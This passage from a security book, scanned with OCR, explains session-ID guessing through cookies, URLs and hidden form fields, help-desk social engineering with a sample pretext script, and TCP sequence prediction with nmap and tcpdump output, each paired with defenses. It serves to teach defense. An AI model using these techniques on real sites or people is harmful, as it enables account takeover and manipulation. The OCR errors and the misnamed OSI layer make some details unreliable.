called cookies.txt. The following is a copy of the cookies file for my
Netscape browser, located in

C:\Program Files\Netscape\Users\default:

# Netscape HTTP Cookie File

# http://www.netscape.com/newsref/std/cookie spec.html

# This is a generated file! Do not edit.
www.webtrends.com FALSE / FALSE
125439375653685 WEBTRENDS

JBELWGNW5 6 FGPMA

.netscape.com TRUE / FALSE 1293343364751
UIDC

207.139.40.22:093418703649:143018323

.miningco.com TRUE / FALSE 12932102302393
Tmog

29523211252159102514m

www.prosofttraining.com FALSE / FALSE
12923232327238513

EGSOFT ID 227.153.90.22-52552323323904.2239250232926
.imgis.com TRUE / FALSE 1075923454743428
JFEDEB2

28C51302DB2GFO9E7FCF935F5A1653430SDF04DEHEDE

The values that are stored after each of the URLs is the state information
for me. If an attacker wants to be Eric, all he has to do is copy this
information to his cookie file.

Another effective method is to guess the cookie. An attacker can go to a
site several times and get an idea of the values that site assigns for
tracking users. If the attacker guesses and puts in a different value, he
can become a different user. Numerous times, I have performed
penetration tests against web sites, have randomly guessed cookie values,
and instantly have taken the identity of someone else. An attacker can
access account information, change an order, make an order, change the
shipping address, or just cause chaos. (In all cases referenced in this
book, I always have authorization before attempting any of these
exploits.)

Protection Against Cookies
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To protect against cookies, a company needs good physical security. An
attacker cannot access a user’s cookie file if he cannot gain access to a
machine. I recommend that systems be properly protected and users log
off when they are not using their computers. One way to accomplish this
is to use a password protected screen saver, so if a user walks away from
his machine, another party cannot gain access.

In general, it is better to have non-persistent cookies, because a copy of
the cookie file is not permanently present on the user’s hard drive. In
some cases, where you need to track a user over a longer period of time
and there is a good chance he will be turning off his computer, non-
persistent cookies do not work. Of course, users cannot decide what kinds
of cookies they will receive from Web sites, but it is good to be aware of
the difference.

To make guessing your ID difficult, make sure the values you use are as
long and random as possible. Using a 100-character string containing
letters and numbers for your cookie value ensures that there is no pattern
and makes the value almost impossible to guess. For example, if the first
time an attacker goes to your site he gets a value of 0000000888, and the
next time he goes he gets a value of 0000000889, there’s a good chance
that if he tries 0000000885 he will get a valid cookie. The attacker can
use this to access information he normally shouldn’t have access to.

On most browsers, you can disable cookies or selectively decide which
cookies to accept. Just keep in mind that if you do not accept cookies,
some sites do not work. To disable cookies, set the Security Level for the
Internet Zone to High. Figure 4.11 shows this for Internet Explorer.

Figure 4.11. How to disable cookies using Internet Explorer.
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URL Session Tracking

Another common way of tracking session information is by placing it right
in the URL. When you go to certain sites, you might notice that the URL
looks something like the following:

http://www.fakecompany.com/ordering/id=982671666273882.6647382

The number at the end is your session ID. If an attacker can guess that
ID, he can take your identity and take over your active session. As with
cookies, dozens of times while checking the security of a web site for a
client, I have connected to a site to get a feel for the patterns the
company uses for session IDs. After connecting, I try to guess some IDs.
Usually, I can find out the session ID of a user within five guesses and
access and modify their information. In one case, I accessed the results of
a very sensitive online medical exam. Only the individual who took the
exam was supposed to see the results, but they were stored online for a
month in case the individual wanted to go back and check the results.

With this type of attack, you need to remember that the user does not
have to be online for the attacker to be successful. In many cases, the
web application does not time out a user immediately and can sometimes
wait a couple of hours until the session ID is no longer valid. During this
time, an attacker can guess the session ID and become that user. The
way a web application is configured dictates whether the attacker can
guess a session ID and connect while the user is still online.

Protection Against URL Session Tracking
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The best defense against URL session tracking is to use long and random-
like strings for the session ID. Also, the more characters you use, the
harder the chance of guessing correctly. For example, a four-character
session ID, containing only numbers, is easy to guess or figure out the
pattern. On the other hand, a 75-character session ID with letters,
numbers, and special characters is much harder to guess. Remember,
because most of your security is based on the session ID, it is worth a
little extra time and energy to make sure it is secure. To protect against
this type of attack, the defensive measures have to be done on the Web
server side. There is little that a user can do to prevent this type of attack.

Hidden Form Elements

The old saying "“What you see is what you get” is not necessarily true
when it comes to the web. The data or document that the server sends to
your browser is interpreted by your browser and displayed to you. The
next time you have a Web page up, select Source from the View menu,
and you will see all of the code that is interpreted by your browser. In
some cases, the browser ignores some text, called hidden text. The
following is a portion of code taken from an online bookstore:

<HTML>

<HEAD>

<title>Somestore.com - Product Info for A Guide to Expert
Systems
(Teknowledge Series in Knowledge Engineering)</title>

<BASE HREF="http://wwwl.somestore.com">
<!- START PAGE HEADER CODE ->

<meta name="robots" content="all, index, follow"></head>
<body bgcolor="#FFFFFF" text="#000000" 1ink="#003399"
v1ink="#666633"

alink="#CC3300" topmargin="6">

<table cellpadding=0 cellspacing=0 border=0 width=100%>

<!-Top Row : Logo and Tabs-><tr>

<INPUT TYPE=HIDDEN NAME=YWH
VALUE="http://wwwl.somestore.com/catalogs/computing/subjects.a
Sp?VM=C&SubjectCode=
XES" >
<form action="http://wwwl.somestore.com/shop/quicksearch.cl"
method="get">

<input type="hidden" name="SearchFunction"
value="key"><input type="hidden"
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name="vm" value="c">
<table border="0" cellpadding="2" cellspacing="0"
bgcolor="#D6D3C4">
<tr>
<td align="center"><table border="0"

cellpadding="4" cellspacing="0"
bgcolor="#D6D3C4">

<tr>

You might notice that several places begin with <INPUT TYPE=HIDDEN
NAME. This is information that the browser wants to keep but does not
want displayed to the user. HTML is not true WYSIWYG (What You See Is
What You Get); therefore, data can be hidden in the HTML page but not
displayed to the end user by the web browser. This is another way web
sites track users. They use a session ID, as in the other examples, but in
this case, the session ID is hidden in the form. Again, an attacker can go
in and modify this information so that he can act or spoof a different
account and therefore have access to that information.

Protection Against Hidden Form Elements

The best way to protect against these types of attacks is to have hard-to-
guess IDs that are as random as possible. These measures are the same
protection I recommended for cookies and URL session tracking. In all of
these cases, the session ID must be protected and difficult to guess. If an
attacker can make logical guesses and have a high chance of getting a
session ID, it doesn’t really matter how the session ID was transmitted to
the user.

The only thing the user can do is make sure his computers are properly
protected and only use web applications for sensitive information like
banking, if the connecting Web site has the site properly designed and
protected security-wise. It all comes down to how well the session IDs are
protected and how difficult they are for someone to guess.

For example, for an online banking application, I recommend at least a
15-character session ID that is composed of lowercase letters, uppercase
letters, numbers, and special characters that are randomized, so the
chances of guessing the ID are slim. I also recommend using two session
IDs. One session ID for viewing information should be good for a
maximum of an hour and expire as soon as a user logs off the system or
after five minutes of inactivity. A second session ID is used for updating
information and is good for a maximum time of five minutes. Remember,
this might seem complicated, but these are things that the computers do,
not humans. What is the difference between a 10-character or 30-
character session ID? From the user’s point of view, it does not matter, so
why not err on the cautious side and, if in doubt, make it longer.
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Because an attacker only needs to successfully guess one session ID, the
length of the key is also a factor of the number of users on the system. If
I have a five-character session ID but only two users, the chance of an
attacker guessing one valid ID is slim. On the other hand, if I have a five-
character session ID and 20,000 users, the chance of success is much
greater, because there are a greater number of valid sessions IDs to
guess.

General Web Spoofing Protection

The scary thing about Web spoofing is that it does not require a lot of
expertise or tools. Basically, if you have access to a browser and text
editor, which come with most any operating system, you can launch these
attacks. However, there are some things that you can do to prevent
against these types of attacks. The following are some high-level
suggestions:

o Disable JavaScript, ActiveX, or any other scripting languages that
execute locally or in your browser so that the attacker cannot hide
the evidence of the attack.

With Java or ActiveX, an attacker can run a process in the
background that does whatever he wants and it is transparent to the
user. The only way the victim would know is if she examines the
source code for every page she views, which we all know is not a
practical solution.

If it is not possible to disable scripting languages, at least make sure
the warning banners are enabled and that users are educated on
what these messages mean.

Some other examples of malicious code that have been used to
breach security are Visual Basic Scripting language and the Windows
Scripting host (wscript.exe) and its DOS equivalent (cscript.exe).

o Make sure you validate your application and that you are properly
tracking users. This is not easy to do because it requires a company
that runs a web server to validate the source code and have an
independent security assessment done of the site. This might seem
like a lot of time and energy, but if the site is to process large
amounts of money, it is worth every penny to make sure it is secure
before it goes live. A company can be in a lot of trouble if it is held
liable for compromising sensitive information.

o Make sure users cannot customize their browser to display
important information. Also, make sure that the browser’s location
line is always visible and checked.
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o Education is very important. Make sure users pay attention to the
URLs displayed on your browser’s location line. Then, if something
looks suspicious, they will not ignore it but will take action. For
example, if a user thinks he is surfing Microsoft.com’s Web site but
the URL listed says www.btmicrosoft.com, the user should notify the
help desk or internal security immediately.

« When using any form of ID to track a user, make sure it is as long
and random as possible. This makes it much harder to guess.

Because most web spoofing attacks are not that sophisticated, they are
very popular. It is paramount that you protect your site and users from
these attacks. Unfortunately, a big part of the prevention is awareness of
users and education of developers, neither of which is a simple task.

Now that we have looked at several different technical ways of performing
spoofing on the Internet, let’s switch gears and look at some non-
technical ways of spoofing users. It is interesting that these types of
attacks can be used to gain as much access, if not more, than their
technical counterparts.

Non-Technical Spoofing

Because non-technical attacks are in widespread use and often allow an
attacker to gain access to systems in a very short time period, they are
covered here for completeness.

These non-computer based techniques are commonly referred to as social
engineering. With social engineering, an attacker tries to convince
someone that he is someone else. This can be as simple as the attacker
calling someone on the phone saying that he is a certain person. Because
he reveals certain information that supposedly only that person knows,
the victim believes him. Social engineering can also be as daring as
putting on a mask and pretending to be someone else because you look
and act like him. Social engineering techniques have been around for a
while and continue to be used because they are extremely effective.

At the heart of social engineering, an attacker tries to spoof his identity
and trick the victim into giving away private information. The goal of these
types of attacks, at least in the context I am talking about here, is to
gather information to gain access to computer systems, usually by
spoofing someone into giving out a password or creating a new account on
the system. Other goals could be to scout out the environment, find out
what hardware or software is installed, find out what patches are loaded
on a server, and so on. The information that can be gained via social
engineering is limitless.

The following are some basic but effective social engineering examples:
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o An attacker calls the help desk to request a new account to be set
up. For example, the attacker pretends to be a new employee that
has a tight deadline that has to be completed by the end of the day
(see the upcoming section “Social Engineering Example”).

« An attacker calls IT acting like a vendor to find out what software a
company is running.

o An attacker impersonates a manager to get an employee to send
him a proposal.

Let’s look at an example of a social engineering spoofing attack. As you
read the example, think not only about how easy it is, but how effective it
would be in most companies.

Social Engineering Example

An attacker calls the help desk of a large company and the following
dialogue takes place:

Help Desk: Hello, this is Bob. Thank you for calling the help desk. What
department do you work in and what can I do to help you?

Attacker: Good morning. Hi, Bob. This is Joe. How is everything? I am
not sure if you are the right person to call, but I am a new employee and
need some help.

Help Desk: Sure, we are here to help.

Attacker: 1 just started working for this company and I really want to
make a good impression. How long have you worked at the company?

Help Desk: Oh, about six months.

Attacker: That is great. Listen, I just started in the new Denver office and
my boss just threw all of this work at me that needed to be done by
tomorrow morning, and she just left for the day. She said that I should
call you to get an account set up. My boss said something about a form,
but she did not have time to fill it out.

Help Desk: We cannot set up any accounts without the proper forms.
Attacker: 1 know, but we all work for the same company and if I am
successful, we all are successful. Can you please help me out? Otherwise,
I cannot get my work done.

Help Desk: Can’t you contact your boss and have her fill out the forms?

Attacker: She left and said she will not be back today and since I am
new, I have no idea how to contact her. Can you just set up a temporary
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account so I can get my work done, and when my boss gets back, I will
tell her to fill it out.

Help Desk: We are not supposed to do that.

Attacker: 1 know, but I just started this job and really want to make a
good impression. If my boss comes back tomorrow and I have nothing
done, she will be furious. I just relocated to Denver because it is a better
area to raise my son. Do you have any children?

Help Desk: Yes, I have a 2-year-old son.

Attacker: My son is only 6 months, but aren’t children great? I love being
a dad.

Help Desk: Yes, every time I look at his picture, it puts a big smile on my
face.

Attacker: So do you think you can help me out this once? It is my first
day on the job and I really want to make a good impression.

Help Desk: 1 am not supposed to, but I will help you out. Please hold
while I set up a new account.

As you can see by this example, as a result of a five-minute conversation,
an attacker acquired an account on this system. If you think this is not
realistic, trust me; this technique is more effective than I would like to
admit. The following are some key points that made this spoofing attack
effective:

o The attacker was kind and never got upset.

o The attacker sounded desperate and really needed the victim’s help.

o The attacker befriended the victim by getting personal and asking
about his children.

After reviewing this, it might seem that social engineering is fairly
straightforward, but it is important to understand. Why? First, this is a
huge threat that most companies ignore. If you have not figured out
already in this field, ignorance is deadly. Also, technical measures like
firewalls and Intrusion Detection Systems are ineffective against this type
of attack. Because these attacks can be used to gain root access, it is
critical that security professionals understand the threat and properly
protect against it.

The scary thing about social engineering is that even though it is not a

technical attack, it can still be used to gain root or domain administrator
access on a system. Remember, an attacker will always take the path of
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least resistance or compromise the weakest link in a chain to gain access.
Too many companies overlook the simple attacks, yet that is how their
systems get compromised.

People look at social engineering and wonder why it is so successful. The
main reason is that it exploits attributes of human behavior: trust is good
and people love to talk. Most people assume that if someone is nice and
pleasant, he must be honest. If an attacker can sound sincere and listen,
you would be amazed at what people will tell him.

Reverse Social Engineering

Social engineering is very effective at gaining information because an
attacker is spoofing his identity. Reverse social engineering can be just as
effective to gain access and information about a company. With this type
of attack, the roles are reversed—instead of the attacker calling in for
help, as he would for social engineering, the attacker gets the user to call
the him for help. As you can imagine, this type of attack is more risky and
requires more sophistication, but it can be used to achieve a higher level
of access.

To perform reverse social engineering, the attacker has to insert himself
into the stream that a user would normally use to ask for help. Attackers
do this by making companies aware that they can provide support or help
to the user. A common example is to send the user a postcard
congratulating her on the purchase of a new computer, which also informs
her that she is eligible for five hours of free technical support by calling
the number listed. The number listed is actually a number that an attacker
controls. The attacker then sits back and waits for the user to call in for
help. When the user calls in for help, the attacker helps the user as he is
extracting information.

This might seem more cumbersome, which it is, but it puts the attacker in
a much better position to gain information. Because the attacker is
supposedly the expert, now if he asks for system information or the user
ID and password, he does not look as suspicious.

Comparing Social and Reverse Social Engineering

Let’s briefly look at both types of non-technical attacks, so that you can
better see the advantages and disadvantages of both.

Social Engineering Reverse Social Engineering

Attacker places the User places the call
call

Attacker asks for help |Attacker is providing help

Less control More control

Less complicated More complicated
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Higher chance of Less chance of success, but sometimes can be used to gain more
success information

As you can see, reverse social engineering is more complicated, and
therefore not used as much, but in certain situations, it can be used to
gain more information than a social engineering attack can. Now that you
have a better understanding of non-technical attacks, let’s look at what
can be done to protect against them.

Non-Technical Spoofing Protection

The following are some of the key things you can do to protect against
these non-technical types of spoofing attacks:

o Educate your users:
o Help desk
o Administrators
o Receptionists
o Post messages on each computer.
o Include a section in the employee handbook.
« Have security make presentations at new employee orientations.
« Have proper policies:
o Password policy
o Security policy
o Post appropriate warning banners.
o Require users to authenticate when calling the help desk:

Help desk should have caller ID and company directory.
Use callback feature for all help desk inquiries.
Do not punish help desk for following procedures.

« Limit information distributed to the pubilic.
e Run periodic tests against help desk and users.

The key to remember is that users must be educated so that they
understand the threat to the company and know what to do to protect
against it.

Another requirement to protect against these types of attacks is to make
sure the company does not punish users for following the procedures. For
example, the help desk staff is trained to authenticate all users and to call
them back with the information they require. What if one day, the CEO of
the company calls for help and the help desk says, "We have to call you
back.” The CEO gets upset and says, "No, I am the CEO and you must
help me now.” If the help desk person refuses and gets punished for it,
the company has just defeated its entire policy. No one wants to get fired,
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and if following the procedures might get them fired, your staff will never
follow the guidelines. Companies must realize that they are sometimes
their worst enemies. If they truly want to have a secure environment,
everyone at the company has to back the policy and stand behind the
people who are enforcing it.

The preceding bulleted list mentions one of the best ways I have found to
defeat social engineering attacks for help desk staff. The technique is to
call back the user on the number listed in the corporate directory. If Eric
calls up asking for his password to be changed, call Eric back at his desk
to give him the temporary password. Yes, someone could be sitting at
Eric’'s desk, but the goal is to improve security, not find the silver bullet.
What if Eric says that he is working from home today and is not at his
desk? You tell Eric that you will call back and leave a message on his work
voice mail. If he calls in and checks his messages in five minutes, he can
retrieve the information.

Also, encrypted email works nicely, if it being used. If the user needs a
new password, send him an encrypted email. Because he is the only one
who knows his key, this is effective

Summary

This chapter covered various forms of spoofing, including IP spoofing,
email spoofing, web spoofing, and non-technical spoofing attacks. All of
these types of attacks can have a detrimental effect on a company and
cause a lot of damage. Only by understanding how they work can you be
in a better position to prevent these types of attacks. One other word of
caution: Even though I showed you how to perform various types of
spoofing attacks, it was only done so that you can better protect your site.
They should never be used against a site where you do not have written
permission. They might seem like fun, but you can find yourself in a lot of
legal trouble if you perform spoofing without permission.

Chapter 5. Session Hijacking

One of the difficult parts of compromising a system is to find a valid
password that can be used to gain access. Especially if strong passwords
such as one-time passwords are used, even if an attacker can sniff the
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password or capture it another way, it is useless, because it changes the
next time the user logs on to the system. Trying to find out a user’s
password is one way to gain access, but because it is not always
successful, there is a better way. For example, let’s say an attacker waits
for users to make a remote connection to a server via telnet. After the
user successfully provides her password, the attacker takes over her
current session and becomes that user. By doing this, the attacker does
not need access to the user’s password, but still has an active,
authenticated connection to a server, where he can execute any command
on the system.

Session hijacking is the process of taking over an existing active session.
One of the main reasons for hijacking a session is to bypass the
authentication process and gain access to a machine. With session
hijacking, a user makes a connection with a server by authenticating,
which is done by providing his user ID and password. Here’s how it works:
After users authenticate, they have access to the server, and as long as
they stay connected and active, they do not have to re-authenticate. That
original authentication is good for the remainder of the session, whether
the session lasts five minutes or five hours. This leaves the door open for
an attacker to take over that session, which is usually done by taking the
user offline (usually with a denial of service attack) and impersonating
that user, which gives the attacker access to the server without ever
having to log on to the system.

By hijacking a session, an attacker can steal a session, which involves
taking over for the authenticated user. He can also monitor the session,
where he just watches everything that is going by. When monitoring the
session, he can record everything that is happening, so he can replay it at
a later time. This is useful from a forensics standpoint for gathering
evidence for prosecution. It can also be useful from an attacker’s
standpoint, for gathering information like user IDs and passwords. An
attacker can also watch a session but periodically inject commands into
the session. The attacker has full control of the session and can do what
ever he wants, which ranges from passive attacks to very active attacks
or anything in between.

When performing session hijacking, an attacker concentrates on session-
oriented applications. This makes sense, because if an attacker’s goal is to
gain access, he wants to take over a session where he can interact with a
machine and execute commands. What is the value is taking over an HTTP
or DNS session? By concentrating on session-oriented applications like
telnet and FTP, the power of session hijacking techniques increases.

In this chapter, we will cover what session hijacking is, how it works, why

it is so damaging, and what can be done to protect against it. As you will
see throughout this chapter, one of the reasons why session hijacking can
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be so damaging is that an attacker can perform these types of attacks
across the Internet, which gives him access to a remote server or network

Spoofing versus Hijacking

Spoofing and hijacking are similar, but there are some differences worth
pointing out. A spoofing attack (see Chapter 4, “"Spoofing”) is different
from a hijack in that an attacker is not actively taking another user offline
to perform the attack. Instead, he pretends to be another user or machine
to gain access. While an attacker is doing this, the party he is spoofing
can be at home or away on vacation for that matter—the real user plays
no role in the attack. Therefore, the attacker is not actively launching an
attack against a user’s session. With hijacking, an attacker is taking over
an existing session, which means he is relying on the legitimate user to
make a connection and authenticate. Then, he can take over a session.
This is done by actively taking the user offline.

One main difference between the two types of attacks is that spoofing
only requires two parties to be involved—the attacker and the machine he
is attacking. Figure 5.1 illustrates the spoofing process.

Figure 5.1. An attacker spoofing a victim named Bob.

_— Server
—&| —  Hello. | am Bob
L3

As you can see, Bob plays no role in the spoofing attack at all. It doesn't
matter if Bob’s machine is turned on or even connected to the network.

From a session hijacking standpoint, Bob plays an active role, as shown in
Figure 5.2.

Figure 5.2. An example of session hijacking.
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Bob telnets to server

Bob authenticates to server

Server

—
— e
. "

Attacker

With session hijacking, Bob has to make a connection and authenticate for
the session to be hijacked. In this case, Bob must be active and make a
connection for hijacking to be successful.

Types of Session Hijacking

With hijacking, there are two basic types of attacks: active and passive.
With a passive attack, an attacker hijacks a session, but just sits back and
watches and records all of the traffic that is being sent back and forth.
This is useful for finding out sensitive information, like passwords and
source code.

In an active attack, an attacker finds an active session and takes over.
This is done by forcing one of the parties offline, where the user can no
longer communicate, which is usually done with a Denial of Service attack.
(For additional information on Denial of Service attacks, please see
Chapter 6, “"Denial of Service Attacks.”) At that point, the attacker acts
like that user, takes over the session, and executes commands on the
system that either give him sensitive information or allow him access at a
later time.

There could also be hybrid attacks, where the attacker watches a session
for a while and then becomes active by taking it over. Another variant is
to watch a session and periodically inject data into the active session
without actually taking it over.

Now we will briefly cover some TCP/IP concepts that you need to
understand to see how session hijacking works in detail

TCP/IP Concepts
In most cases, when two computers want to communicate, the underlying

protocols they use are either TCP or UDP and IP. The following is a list of
the seven layers in the OSI model that are used for communication:
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7) Application
6) Presentation
5) Session

4) Transport
3) Network

2) Datagram
1) Physical

For our discussion, we are concerned with layers 3 and 4. TCP and UDP
are at layer 4, the transport layer. IP resides at layer 3, the network layer.
So, whether you use TCP or UDP, you still use IP as your layer 3 protocol.
TCP is reliable and UDP is unreliable. With session hijacking, because we
are concerned with sessions or connection-oriented applications like telnet
and FTP, we are also concerned with TCP.

TCP

Because TCP is a reliable protocol, it is connection oriented. It can
guarantee whether or not two parties in a communication have
successfully received packets. If one of the parties does not receive a
packet, TCP automatically resends it. For TCP to work properly, there has
to be a connection established and some way to acknowledge that each
packet or a group of packets has been received. This is done through the
three-way handshake and sequence numbers.

Three-Way Handshake

For two parties to establish a connection using TCP, they perform what is
called a three-way handshake. The three-way handshake initializes the
connection and exchanges any of the necessary parameters that are
needed for the two parties to communicate. Figure 5.3 illustrates how a
three-way handshake works.

Figure 5.3. Illustration of the three-way handshake.
SYN (SN-B) .

m SYN (SN-S), ACK (SN-B+1) i
ACK (SN-S+1) .

Bob

“ Hackers Beware * New Riders Publishing 169



Bob wants to initiate a connection with the server. During the first leg of
the three-way handshake, Bob sends a packet to the server with the
synchronization (SYN) bit set saying, "I want to communicate with you.”
Having the SYN bit set indicates that the value in the sequence number
(SN) field is valid. So, not only does Bob set the SYN bit, but also he
sends a value for the initial sequence (ISN) number, which is sequence
number for Bob (SN-B). (Sequence numbers will be covered in the section
that follows). After the server receives this packet, it sends back a packet
with the SYN bit set and an ISN for the server. It also sets the ACK bit
acknowledging that it received the first packet and increments Bob’s SN
by 1. That completes the second part of the three-way handshake. The
last piece occurs when Bob sets the ACK bit saying that the machine
acknowledges recipient of the packet and does that by incrementing the
SN-S or the sequence number for the server by 1. At this point, the two
machines have established a session and can begin communicating.

Sequence Numbers

Sequence numbers are very important to provide reliable communication
but they are also crucial to hijacking a session. Sequence numbers are a
32-bit counter, which means the value can be any of over 4 billion
possible combinations. In the simplest sense, sequence numbers are used
to tell the receiving machine what order the packets should go in when
they are received.

Also, the receiving machine uses sequence numbers to tell the sender
which packets have been received and which ones have not, so that the
sender can resend the lost packets. For example, if the sender sends four
packets with sequence numbers 1258, 1256, 1257, and 1255, the
recipient uses these numbers to put the packets back into the correct
order, which is sequential. Also, the recipient uses the sender’s sequence
number to acknowledge the receipt of the packets. In this case, the
recipient sends back an acknowledgement of 1259, which says, “"1259 is
the next packet that I am expecting from the sender.”

Another key point of sequence numbers is that there is one for the sender
and one for the receiver. Whenever the sender sends a packet, it uses the
sender’s sequence number; and whenever the recipient acknowledges
receiving a packet from the sender, it also uses the sender’s sequence
number in the acknowledgement. On the other end, the receiver uses its
own sequence numbers when sending data back. For example, if Bob and
Alice are communicating, there are two different sequence numbers: one
for Bob and one for Alice. Bob uses his sequence number for sending
packets to Alice, and Alice uses Bob’s sequence numbers for
acknowledging which packets she received from Bob. Then, Alice uses her
sequence number to send packets to Bob, and Bob uses this sequence
number to acknowledge which packets he received from Alice.
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Let’s briefly look at how sequence numbers are chosen. This is for an
implementation of Linux but can be different, depending on how the
operating system vendors implemented the TCP/IP protocol stack. First,
when the system boots up, the sequence number is set to 1. The
sequence number is then incremented every second, usually by 128,000.
Now, if you calculate the math, this means that the sequence number
wraps approximately every nine hours, if no connections are made.
However, if a connection is made, the sequence number is incremented by
64,000.

One reason sequence numbers are somewhat predictable is to prevent
overlapping of sequence numbers. For example, if a packet gets caught up
in a routing loop, it could arrive and have the same sequence number as
an existing session, which could cause a lot of problems. This presents an
interesting dilemma because as you will see, from a security standpoint,
you would want the sequence numbers to be as random as possible; but
from a functionality standpoint, the less random the better. The following
example is sniffer output from an initial connection showing how the
sequence numbers work. The computer with the IP address of
10.246.68.46 sends a packet to computer 10.246.68.48 with the SYN bit
set and an initial sequence number of 2881395377, as follows:

03:12:26.309374 eth0O P 10.246.68.46.3419 >
10.246.68.48.telnet: S

2881395377:2881395377(0) win 8192 <mss 1460, nop,nop, sackOK>
(DF)

Next, computer 10.246.68.48 replies to 10.246.68.46 with the SYN bit set
and an initial sequence number of 2427498030. Because this is the
second leg of the three-way handshake, it also has the ACK bit set and is
saying that the next byte it is expecting from machine 10.246.68.46 is
2881395378, which is the initial sequence number plus 1, as follows:

03:12:26.309435 eth0 P 10.246.68.48.telnet >
10.246.68.46.3419: S

2427498030:2427498030 (0) ack 2881395378 win 32120 <mss
1460, nop, nop, sackOK> (DF)

Finally, computer 10.146.68.46 completes the last leg of the three-way
handshake by sending a packet back to 10.246.68.48 with the ACK bit
set, as follows:

03:12:26.309538 eth0 P 10.246.68.46.3419 >
10.246.68.48.telnet:
1:1(0) ack 1 win 8760 (DF)
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The preceding shows a three-way handshake for a telnet session. Here
you can see the initial sequence numbers that are sent in the first two
packets. After that, you can see the acknowledgement of subsequent
sequence numbers and the next packet each side is expecting.

What Is TCPdump?

TCPdump is a sniffer program that is available on most versions of
Linux. Depending on which installation options were used to install
the software, it might be installed by default. If you type tcpdump
and the program does not start, you might have to manually
install it off of the distribution CDs.

As you can see from the preceding examples, TCPdump is a good
program for pulling off network traffic and seeing what is occurring
on your network. It has numerous options that can be used to
filter certain fields. For additional information, you can type man
tecpdump on your system to get additional information and
examples of how it can be used on your network.

There is also a port of TCPdump for the Windows platform called
windump. It runs in a DOS window but has similar features and
functionality.

At this point, you have enough information to understand the basics of
session hijacking and the topics presented in this chapter. Now it is time
to look at session hijacking up close. For a more detailed explanation of
the TCP/IP protocols, please refer to TCP/IP Illustrated, Volume 1 by
Stevens.

Detailed Description of Session Hijacking

Let’s take a closer look at exactly what has to happen to hijack a session.
The following are the main steps that must be taken to perform an active
session hijack, where the goal is to take over an existing session:

Find a target.

Perform sequence prediction.
Find an active session.

Guess the sequence numbers.
Take one of the parties offline.
Take over the session.

ouhwn=
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Find a Target

This might seem obvious, but to hijack a session, the attacker must find a
suitable target. There are some key points he observes when searching
for a suitable target. First, he usually wants the target to be a server that
allows session-oriented connections like telnet and FTP. Also, from a
firewall standpoint, the attacker probably wants to make sure he can get
access to the target beforehand to sample the sequence number. For
example, if a firewall only allows a certain address through the firewall to
the server, he might be able to hijack that session; but it is difficult to
perform because he could not access the server ahead of time and find
out some initial information.

Perform Sequence Prediction

Depending on the session he is taking over and whether he can observe
the traffic before hijacking the session, the attacker might have to be able
to guess the sequence number. This can be easy or difficult depending on
which operating system is being used. The following is output from nmap
that shows the level of difficulty with guessing sequence numbers on
various operating systems (to have nmap perform operating system
fingerprinting, you would type the following command nmap -0 ip-
address):

Starting nmap V. 2.53 by fyodor@insecure.org (
WWw.linsecure.org/nmap/ )

Interesting ports on (10.246.68.46) :

(The 1516 ports scanned but not shown below are in state:
closed)

Port State Service
25/tcp open smtp

79/tcp open finger
106/tcp open pop3pw
107/tcp open rtelnet
110/tcp open pop-3
139/tcp open netbios-ssn
427/tcp open svrloc

TCP Sequence Prediction: Class=trivial time dependency
Difficulty=1 (Trivial joke)

Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 1 IP address (1 host up) scanned in 3

seconds

Starting nmap V. 2.53 by fyodor@insecure.org (

WwWw.linsecure.org/nmap/ )

Interesting ports on (10.246.68.48):

(The 1510 ports scanned but not shown below are in state:

closed)
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Port State Service

21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
79/tcp open finger
98/tcp open linuxconf
111/tcp open sunrpc
113/tcp open auth
513/tcp pen login
514/tcp open shell
515/tcp open printer
948/tcp open unknown
1024 /tcp open kdm
6000/tcp open X11

TCP Sequence Prediction: Class=random positive increments
Difficulty=1872725 (Good luck!)

Remote operating system guess: Linux 2.1.122 - 2.2.14

Nmap run completed -- 1 IP address (1 host up) scanned in O

seconds

One of the things nmap uses to determine the operating system is the
predictability of the sequence numbers on the remote operating system.
In this case, you can see that Windows operating systems have very
predictable sequence numbers, whereas Linux has very hard-to-guess
sequence numbers.

Also, to show you how sequence number prediction is done, the attacker
connects to a machine several times to see how the numbers change over
time. The following are some sample sequence numbers from trying to
connect to a Linux system from a Windows system several times. Only the
initial sequence numbers are shown for each side. Essentially, the first two
legs of the three-way handshake are shown, which means there are two
packets for each connection, and I connected five times:

15 connection

04:54:35.209720 ethO P 10.246.68.46.3428 >
10.246.68.48.telnet: S

2887495515:2887495515(0) win 8192 <mss 1460, nop,nop, sackOK>
(DF)

04:54:35.209887 eth0O P 10.246.68.48.telnet >
10.246.68.46.3428: S

321765071:321765071(0) ack 2887495516 win 32120 <mss
1460, nop, nop, sackOK> (DF)

2"d connection
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04:54:40.195016 ethO P 10.246.68.46.3429 >
10.246.68.48.telnet: S

2887500502:2887500502(0) win 8192 <mss 1460, nop,nop, sackOK>
(DF)

04:54:40.195694 ethO P 10.246.68.48.telnet >
10.246.68.46.3429: S

332010905:332010905(0) ack 2887500503 win 32120 <mss
1460, nop, nop, sackOK> (DF)

3! connection

04:54:46.799968 ethO P 10.246.68.46.3430 >
10.246.68.48.telnet: S

2887507109:2887507109(0) win 8192 <mss 1460, nop,nop, sackOK>
(DF)

04:54:46.800040 ethO P 10.246.68.48.telnet >
10.246.68.46.3430: S

338617656:338617656(0) ack 2887507110 win 32120 <mss
1460, nop, nop, sackOK> (DF)

4™ connection

04:54:52.001391 ethO P 10.246.68.46.3431 >
10.246.68.48.telnet: S

2887512311:2887512311(0) win 8192 <mss 1460, nop,nop, sackOK>
(DF)

04:54:52.001473 eth0 P 10.246.68.48.telnet >
10.246.68.46.3431: S

339459049:339459049(0) ack 2887512312 win 32120 <mss
1460, nop, nop, sackOK> (DF)

5t connection

04:54:56.805266 ethO P 10.246.68.46.3432 >
10.246.68.48.telnet: S

2887517117:2887517117(0) win 8192 <mss 1460, nop,nop, sackOK>
(DF)

04:54:56.805348 eth0 P 10.246.68.48.telnet >
10.246.68.46.3432: S

334021331:334021331(0) ack 2887517118 win 32120 <mss
1460, nop, nop, sackOK> (DF)
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Table 5.1 is a summary chart showing the ISN (initial sequence numbers)
for each side of the connection.

Table 5.1. Comparison of sequence numbers on a Windows and Linux system.
Connection Number Windows Client Linux Server
1 2887495515 321765071
2 2887500502 332010905
3 2887507109 338617656
4 2887512311 339459049
5 2887517117 334021331

As you can see, this information confirms what nmap already told us—
Windows sequence numbers are much more predictable than Linux
sequence numbers.

Find an Active Session

Now let’s look at how an attacker finds an active session. Because he is
actively taking over a session, there needs to be a legitimate user’s
connection that he can take over. Therefore, contrary to most attacks,
